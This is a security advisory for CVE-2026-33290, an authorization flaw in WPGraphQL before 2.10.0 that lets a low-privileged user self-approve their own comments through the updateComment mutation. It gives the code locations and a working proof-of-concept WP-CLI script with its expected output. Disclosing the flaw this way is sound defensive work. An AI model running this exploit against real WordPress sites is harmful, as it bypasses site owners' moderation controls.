PT-2026-27271 · Wp Graphql · Wpgraphql
Published
2026-03-23
·
Updated
2026-03-24
·
CVE-2026-33290
CVSS v3.1
4.3
Medium
| AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp update comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
- Start environment:
npm install
npm run wp-env start
- Run this PoC:
npm run wp-env run cli -- wp eval '
add role("no caps","No Caps",[]);
$user id = username exists("poc nocaps");
if ( ! $user id ) {
$user id = wp create user("poc nocaps","Passw0rd!","poc nocaps@example.com");
}
$user = get user by("id",$user id);
$user->set role("no caps");
$post id = wp insert post([
"post title" => "PoC post",
"post status" => "publish",
"post type" => "post",
"comment status" => "open",
]);
$comment id = wp insert comment([
"comment post ID" => $post id,
"comment content" => "pending comment",
"user id" => $user id,
"comment author" => $user->display name,
"comment author email" => $user->user email,
"comment approved" => "0",
]);
wp set current user($user id);
$result = graphql([
"query" => "mutation U($id:ID!){ updateComment(input:{id:$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment id ],
]);
echo wp json encode([
"role caps" => array keys(array filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db comment approved" => get comment($comment id)->comment approved ?? null,
"comment id" => $comment id
]);
'
- Observe result:
- role caps is empty (or no moderate comments)
- mutation returns status: APPROVE
- DB value becomes comment approved = 1
Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Fix
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Wpgraphql